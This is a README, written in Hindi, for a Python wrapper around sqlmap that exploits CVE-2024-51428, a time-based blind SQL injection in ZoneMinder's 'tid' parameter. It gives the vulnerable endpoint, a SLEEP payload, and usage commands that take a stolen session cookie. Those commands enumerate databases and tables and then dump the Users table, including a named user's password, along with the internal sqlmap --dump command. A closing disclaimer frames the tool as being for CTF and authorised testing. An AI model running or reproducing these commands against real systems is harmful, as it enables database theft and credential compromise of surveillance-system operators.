
विज़न माइंडर (ZoneMinder) में CVE-2024-51428 का शोषण करने के लिए ब्लाइंड SQL इंजेक्शन का उपयोग करते हुए Python में लिखा गया रैपर, जो sqlmap के माध्यम से डेटाबेस, तालिकाओं की स्वचालित गणना और साफ आउटपुट के साथ डेटा निष्कर्षण करता है।
sqlmap के लिए Python रैपर जो ZoneMinder में CVE-2024-51428 का शोषण करने के लिए डिज़ाइन किया गया है।
यह उपकरण ब्लाइंड SQL इंजेक्शन कमजोरी का पता लगाने और शोषण को स्वचालित करता है, जबकि आउटपुट को साफ और उपयोगी डेटा पर केंद्रित रखता है।
स्क्रिप्ट sqlmap लॉग को छुपाता है और केवल प्रासंगिक जानकारी प्रदर्शित करता है जैसे:
यह उपकरण को CTF वातावरण, प्रदर्शनों और सुरक्षा परीक्षण के लिए आदर्श बनाता है।
CVE: CVE-2024-51428
प्रकार: ब्लाइंड SQL इंजेक्शन
प्रभावित सॉफ्टवेयर: ZoneMinder
हमला वेक्टर: HTTP GET पैरामीटर
पैरामीटर: tid
कमजोरी निम्नलिखित एंडपॉइंट में मौजूद है:
/zm/index.php?view=request&request=event&action=removetag&tid=
tid पैरामीटर को डेटाबेस क्वेरी में उपयोग करने से पहले ठीक से सैनिटाइज़ नहीं किया जाता है, जिससे हमलावर SQL क्वेरी इंजेक्ट कर सकते हैं।
उपयोग की गई शोषण तकनीक समय-आधारित ब्लाइंड SQL इंजेक्शन है।
sqlmap द्वारा खोजा गया उदाहरण पेलोड:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
यह पेलोड डेटाबेस को सोने के लिए मजबूर करता है यदि क्वेरी सफलतापूर्वक निष्पादित होती है, जिससे SQL इंजेक्शन की उपस्थिति की पुष्टि होती है।
यदि आवश्यक हो तो sqlmap इंस्टॉल करें:
sudo apt install sqlmap
मूल सिंटैक्स:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
इस कमांड से हम जांचते हैं कि यह कमजोर है या नहीं
उदाहरण:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
शोषण के लिए एक मान्य ZoneMinder सत्र कुकी की आवश्यकता होती है।
चरण:
Application → Cookies
ZMSESSID
-c के साथ उपयोग करेंउदाहरण:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
उदाहरण आउटपुट:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
उदाहरण आउटपुट:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
उदाहरण आउटपुट:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
उदाहरण:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
आप पंक्तियों को इसका उपयोग करके फ़िल्टर कर सकते हैं:
-ff <COLUMN> <VALUE>
उदाहरण:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
समतुल्य SQL:
WHERE Username='mark'
उदाहरण:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
आंतरिक sqlmap कमांड:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
स्क्रिप्ट sqlmap के चारों ओर एक रैपर के रूप में कार्य करती है।
आंतरिक रूप से किए गए चरण:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
यह उपकरण इसके लिए बनाया गया था:
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
लेखक इस उपकरण के किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
किसी भी सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
सुरक्षा अनुसंधान / CTF उपकरण निर्माण